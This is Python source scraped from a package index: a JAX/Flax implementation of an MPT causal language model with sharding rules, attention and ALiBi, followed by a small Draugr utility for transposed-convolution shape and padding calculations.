("attn/w_qkv/kernel", PartitionSpec("fsdp", "dp")), ("attn/wo/kernel", PartitionSpec("dp", "fsdp")), ("attn/w_qkv/bias", PartitionSpec("fsdp", "dp")), ("attn/wo/bias", PartitionSpec("dp", "fsdp")), ("ffn/down/kernel", PartitionSpec("fsdp", "dp")), ("ffn/up/kernel", PartitionSpec("fsdp", "dp")), ("ffn/down/kernel", PartitionSpec("fsdp", "dp")), ("ffn/up/kernel", PartitionSpec("fsdp", "dp")), ("attention_norm/kernel", PartitionSpec(None)), ("norm_f/kernel", PartitionSpec(None)), ("norm_f/bias", PartitionSpec(None)), ("transformer/norm_f/kernel", PartitionSpec(None)), ("transformer/norm_f/bias", PartitionSpec(None)), ("lm_head/kernel", PartitionSpec("fsdp", "dp")), ("lm_head/bias", PartitionSpec("fsdp", "dp")), ('.*', PartitionSpec(None)), ) if not fully_fsdp else ( ("transformer/wte/embedding", PartitionSpec("fsdp")), ("transformer/wpe/embedding", PartitionSpec("fsdp")), ("attn/w_qkv/kernel", PartitionSpec("fsdp")), ("attn/wo/kernel", PartitionSpec("fsdp")), ("attn/w_qkv/bias", PartitionSpec("fsdp")), ("attn/wo/bias", PartitionSpec("fsdp")), ("ffn/down/kernel", PartitionSpec("fsdp")), ("ffn/up/kernel", PartitionSpec("fsdp")), ("ffn/down/kernel", PartitionSpec("fsdp")), ("ffn/up/kernel", PartitionSpec("fsdp")), ("attention_norm/kernel", PartitionSpec(None)), ("norm_f/kernel", PartitionSpec(None)), ("norm_f/bias", PartitionSpec(None)), ("transformer/norm_f/kernel", PartitionSpec(None)), ("transformer/norm_f/bias", PartitionSpec(None)), ("lm_head/kernel", PartitionSpec("fsdp")), ("lm_head/bias", PartitionSpec("fsdp")), ('.*', PartitionSpec(None)), ) class RMSNorm(nn.Module): dim: int eps: float = 1e-6 dtype: jnp.dtype = jnp.float32 param_dtype: jnp.dtype = jnp.float32 def setup(self) -> None: self.weight = self.param( 'kernel', nn.initializers.ones, (self.dim,), self.param_dtype, ) def _norm(self, x: jnp.ndarray) -> jnp.ndarray: return x * jax.lax.rsqrt(jnp.square(x).mean(-1, keepdims=True) + self.eps) def __call__(self, x: jnp.ndarray) -> jnp.ndarray: x = x.astype(jnp.promote_types(self.dtype, jnp.bfloat16)) output = self._norm(x).astype(self.dtype) weight = jnp.asarray(self.weight, self.dtype) return output * weight class FlaxMptMLP(nn.Module): config: MptConfig dtype: jnp.dtype = jnp.float32 param_dtype: jnp.dtype = jnp.float32 precision: Optional[Union[jax.lax.Precision, str]] = None def setup(self) -> None: self.up = nn.Dense(self.config.d_model * self.config.expansion_ratio, kernel_init=jax.nn.initializers.normal(), use_bias=self.config.use_bias, dtype=self.dtype, param_dtype=self.param_dtype, precision=self.precision) self.down = nn.Dense(self.config.d_model, kernel_init=jax.nn.initializers.normal(), use_bias=self.config.use_bias, dtype=self.dtype, param_dtype=self.param_dtype, precision=self.precision) self.act = ACT2FN[self.config.act_fn] def __call__(self, x: jax.Array): return self.down(self.act(self.up(x))) class FlaxMptAttention(nn.Module): config: MptConfig dtype: jnp.dtype = jnp.float32 param_dtype: jnp.dtype = jnp.float32 precision: Optional[Union[jax.lax.Precision, str]] = None def setup(self) -> None: self.w_qkv = nn.Dense(self.config.d_model * 3, kernel_init=jax.nn.initializers.normal(), use_bias=self.config.use_bias, dtype=self.dtype, param_dtype=self.param_dtype, precision=self.precision) self.wo = nn.Dense(self.config.d_model, kernel_init=jax.nn.initializers.normal(), use_bias=self.config.use_bias, dtype=self.dtype, param_dtype=self.param_dtype, precision=self.precision) if self.config.qk_ln: self.q_ln = nn.LayerNorm(use_bias=self.config.use_norm_bias) self.k_ln = nn.LayerNorm(use_bias=self.config.use_norm_bias) self.causal_mask = nn.make_causal_mask(jnp.ones((1, self.config.max_seq_len))) def __call__(self, x, attn_bias=None, attention_mask=None): inp_shape = x.shape b, s, ds = inp_shape qkv = self.w_qkv(x) q, k, v = jnp.split(qkv, 3, -1) if self.config.qk_ln: q = self.q_ln(q) k = self.k_ln(k) if self.config.use_pjit_attention_force: q = with_sharding_constraint(q, PartitionSpec(('dp', 'fsdp'), None, 'mp')) k = with_sharding_constraint(k, PartitionSpec(('dp', 'fsdp'), None, 'mp')) v = with_sharding_constraint(v, PartitionSpec(('dp', 'fsdp'), None, 'mp')) q = rearrange(q, 'b s (h d) -> b s h d', h=self.config.n_heads) k = rearrange(k, 'b s (h d) -> b s h d', h=self.config.n_heads) v = rearrange(v, 'b s (h d) -> b s h d', h=self.config.n_heads) if self.config.use_flash_attention: attn_mask = einops.rearrange( nn.combine_masks( jnp.where(self.causal_mask == 1, 0, jnp.finfo(jnp.ones((1,), dtype=self.dtype)).min)[:, :, :s, :s], jnp.where(attention_mask.reshape(b, 1, 1, s) == 1, 0, jnp.finfo(jnp.ones((1, 1), dtype=self.dtype)).min), attn_bias ), '...s q k->... s 1 q k' ) if attn_bias is not None else einops.rearrange( nn.combine_masks( jnp.where(self.causal_mask == 1, 0, jnp.finfo(jnp.ones((1,), dtype=self.dtype)).min)[:, :, :s, :s], jnp.where(attention_mask.reshape(b, 1, 1, s) == 1, 0, jnp.finfo(jnp.ones((1, 1), dtype=self.dtype)).min) ), '...s q k->... s 1 q k' ) atw = dot_product_attention_multihead( query=q, key=k, value=v, dtype=self.dtype, precision=self.precision, dropout_rate=0.0, enable_dropout=False, float32_logits=True, rescale_logits=True, bias=attn_mask, causal_mask=False, key_chunk_size=self.config.flash_attn_key_chunk_size, query_chunk_size=self.config.flash_attn_query_chunk_size ) else: d = q.shape[-1] atw = jnp.einsum('...qhd,...khd->...hqk', q, k, precision=self.precision) * jax.lax.rsqrt( jnp.asarray(d).astype(v.dtype)) if self.config.use_pjit_attention_force: atw = with_sharding_constraint(atw, PartitionSpec(('dp', 'fsdp'), 'mp', None, None)) if attn_bias is not None: atw += attn_bias mask = jnp.where(self.causal_mask == 1, 0, jnp.finfo(atw).min) if attention_mask is not None: attention_mask = jnp.where(attention_mask.reshape(b, 1, 1, s) == 1, 0, jnp.finfo(atw).min) atw += attention_mask atw += mask[:, :, :s, :s] atw = nn.softmax(atw, -1) atw = jnp.einsum('...hqk,...khd->...qhd', atw, v) return self.wo(atw.reshape(inp_shape)) class FlaxMptBlock(nn.Module): config: MptConfig dtype: jnp.dtype = jnp.float32 param_dtype: jnp.dtype = jnp.float32 precision: Optional[Union[jax.lax.Precision, str]] = None def setup(self) -> None: self.norm_1 = nn.LayerNorm(use_bias=self.config.use_norm_bias) self.norm_2 = nn.LayerNorm(use_bias=self.config.use_norm_bias) self.attn = FlaxMptAttention(config=self.config, dtype=self.dtype, param_dtype=self.param_dtype, precision=self.precision) self.ffn = FlaxMptMLP(config=self.config, dtype=self.dtype, param_dtype=self.param_dtype, precision=self.precision) def __call__(self, x, attn_bias=None, attention_mask=None): x = self.attn(self.norm_1(x), attn_bias=attn_bias, attention_mask=attention_mask) + x x = self.ffn(self.norm_2(x)) + x return x def get_gradient_checkpoint_policy(name): return { 'everything_saveable': jax.checkpoint_policies.everything_saveable, 'nothing_saveable': jax.checkpoint_policies.nothing_saveable, 'checkpoint_dots': jax.checkpoint_policies.checkpoint_dots, 'checkpoint_dots_with_no_batch_dims': jax.checkpoint_policies.checkpoint_dots_with_no_batch_dims, }[name] class FlaxMptCollection(nn.Module): config: MptConfig dtype: jnp.dtype = jnp.float32 param_dtype: jnp.dtype = jnp.float32 precision: Optional[Union[jax.lax.Precision, str]] = None def setup(self) -> None: block = FlaxMptBlock if self.config.gradient_checkpointing != '': block = flax.linen.remat( block, static_argnums=(), policy=get_gradient_checkpoint_policy(self.config.gradient_checkpointing) ) self.blocks = [ block( config=self.config, dtype=self.dtype, param_dtype=self.param_dtype, precision=self.precision, name=str(i) ) for i in range( self.config.n_layers ) ] def __call__(self, x, attn_bias=None, attention_mask=None): for block in self.blocks: x = block(x=x, attn_bias=attn_bias, attention_mask=attention_mask) return x def build_alibi(max_length, num_attention_heads, alibi_max: int = 8): w_range = jnp.arange(1 - max_length, 1).reshape(1, 1, 1, max_length) # cp2 = jnp.power(2, jnp.ceil(jnp.log2(num_attention_heads))) cp2 = 2 ** math.ceil(math.log2(num_attention_heads)) h_range = jnp.arange(1, 1 + num_attention_heads, ).reshape(1, -1, 1, 1) h_range = jnp.matmul(h_range, jnp.asarray(alibi_max / cp2).reshape(1, 1)) slop = 1 / jnp.power(2, h_range) if cp2 != num_attention_heads: slop = jnp.concatenate([slop[1::2], slop[::2]], axis=-1)[:num_attention_heads] alibi = (w_range * slop).reshape(1, num_attention_heads, 1, max_length) return alibi class FlaxMptModule(nn.Module): config: MptConfig dtype: jnp.dtype = jnp.float32 param_dtype: jnp.dtype = jnp.float32 precision: Optional[Union[jax.lax.Precision, str]] = None def setup(self) -> None: self.wte = nn.Embed(num_embeddings=self.config.vocab_size, features=self.config.d_model) if not self.config.alibi: self.wpe = nn.Embed(num_embeddings=self.config.vocab_size, features=self.config.max_seq_len) self.h = FlaxMptCollection( config=self.config, dtype=self.dtype, param_dtype=self.param_dtype, precision=self.precision ) self.norm_f = nn.LayerNorm(use_bias=self.config.use_norm_bias) def __call__(self, input_ids: jax.Array, attention_mask: jax.Array = None, return_dict: bool = True): b, s = input_ids.shape hidden_state = self.wte(input_ids) if self.config.alibi: alibi = build_alibi(s, self.config.n_heads) else: pos_id = self.wpe(jnp.arange(s, dtype='i4').reshape(1, -1)) hidden_state += pos_id alibi = None hidden_state = self.norm_f(self.h(hidden_state, attn_bias=alibi, attention_mask=attention_mask)) if return_dict: return FlaxBaseModelOutput(last_hidden_state=hidden_state, hidden_states=None) else: return (hidden_state,) class FlaxMptPretrainedModel(FlaxPreTrainedModel): module_class: nn.Module = None config_class: MptConfig = MptConfig def __init__(self, config, dtype: jnp.dtype = jnp.float32, param_dtype: jnp.dtype = jnp.float32, _do_init: bool = False, input_shape: Tuple = (1, 16), **kwargs): module = self.module_class( config, dtype=dtype, param_dtype=param_dtype ) super().__init__(_do_init=_do_init, config=config, input_shape=input_shape, module=module, **kwargs) def init_weights(self, rng: jax.random.PRNGKey, input_shape: Tuple, params: FrozenDict = None) -> FrozenDict: if params is None: return self.module.init( rngs=rng, input_ids=jnp.ones(input_shape, dtype='i4'), attention_mask=jnp.ones(input_shape, dtype='i4'), )['params'] else: return params def __call__(self, input_ids, attention_mask=None, params=None, add_params_field: bool = False, return_dict: bool = True): params = {'params': params or self.params} if add_params_field else params or self.params predict = self.module.apply( params, input_ids=jnp.asarray(input_ids, dtype='i4'), attention_mask=jnp.asarray(attention_mask, dtype='i4') if attention_mask is not None else attention_mask, return_dict=return_dict ) return predict def prepare_inputs_for_generation(self, input_ids, max_length, attention_mask: Optional[jax.Array] = None): return { "attention_mask": attention_mask, } def update_inputs_for_generation(self, model_outputs, model_kwargs): return model_kwargs class FlaxMptModel(FlaxMptPretrainedModel): module_class = FlaxMptModule class FlaxFlaxMptForCausalLMModule(nn.Module): config: MptConfig dtype: jnp.dtype = jnp.float32 param_dtype: jnp.dtype = jnp.float32 precision: Optional[Union[jax.lax.Precision, str]] = None def setup(self) -> None: self.transformer = FlaxMptModule( config=self.config, dtype=self.dtype, param_dtype=self.param_dtype, precision=self.precision ) if self.config.use_lm_head: self.lm_head = nn.Dense(self.config.vocab_size, kernel_init=jax.nn.initializers.normal(), use_bias=self.config.use_bias, dtype=self.dtype, param_dtype=self.param_dtype, precision=self.precision) def __call__(self, input_ids: jax.Array, attention_mask: jax.Array = None, return_dict: bool = True): predict: FlaxBaseModelOutput = self.transformer(input_ids=input_ids, attention_mask=attention_mask, return_dict=True) if self.config.use_lm_head: logits = self.lm_head(predict.last_hidden_state) else: logits = predict.last_hidden_state @ self.transformer.wte.embedding.T if return_dict: return FlaxCausalLMOutput( logits=logits, hidden_states=predict.last_hidden_state ) else: return (logits,) class FlaxMptForCausalLM(FlaxMptPretrainedModel): module_class = FlaxFlaxMptForCausalLMModule
PypiClean
/Draugr-1.0.9.tar.gz/Draugr-1.0.9/draugr/torch_utilities/operations/sizes/transp_conv2d.py
__author__ = "Christian Heider Nielsen" __doc__ = r""" Created on 23/07/2020 """ import math from typing import Tuple, Union __all__ = ["transp_conv2d_output_shape", "transp_conv2d_padding_sizes"] from warg import replicate def transp_conv2d_output_shape( h_w: Union[int, Tuple[int, int]], kernel_size: Union[int, Tuple[int, int]] = 1, stride: Union[int, Tuple[int, int]] = 1, pad: Union[int, Tuple[int, int]] = 0, dilation: Union[int, Tuple[int, int]] = 1, out_pad: Union[int, Tuple[int, int]] = 0, ) -> Tuple[int, int]: """description""" (h_w, kernel_size, stride, pad, dilation, out_pad) = ( replicate(h_w), replicate(kernel_size), replicate(stride), replicate(pad), replicate(dilation), replicate(out_pad), ) pad = (replicate(pad[0]), replicate(pad[1])) h = ( (h_w[0] - 1) * stride[0] - sum(pad[0]) + dilation[0] * (kernel_size[0] - 1) + out_pad[0] + 1 ) w = ( (h_w[1] - 1) * stride[1] - sum(pad[1]) + dilation[1] * (kernel_size[1] - 1) + out_pad[1] + 1 ) return h, w def transp_conv2d_padding_sizes( h_w_in: Union[int, Tuple[int, int]], h_w_out: Union[int, Tuple[int, int]], kernel_size: Union[int, Tuple[int, int]] = 1, stride: Union[int, Tuple[int, int]] = 1, dilation: Union[int, Tuple[int, int]] = 1, out_pad: Union[int, Tuple[int, int]] = 0, ) -> Tuple[Tuple[int, int], Tuple[int, int]]: """description""" (h_w_in, h_w_out, kernel_size, stride, dilation, out_pad) = ( replicate(h_w_in), replicate(h_w_out), replicate(kernel_size), replicate(stride), replicate(dilation), replicate(out_pad), ) p_h = ( -( h_w_out[0] - 1 - out_pad[0] - dilation[0] * (kernel_size[0] - 1) - (h_w_in[0] - 1) * stride[0] ) / 2 ) p_w = ( -( h_w_out[1] - 1 - out_pad[1] - dilation[1] * (kernel_size[1] - 1) - (h_w_in[1] - 1) * stride[1] ) / 2 ) return ( (math.floor(p_h / 2), math.ceil(p_h / 2)), (math.floor(p_w / 2), math.ceil(p_w / 2)), ) if __name__ == "__main__": print(transp_conv2d_output_shape(105, 10))
PypiClean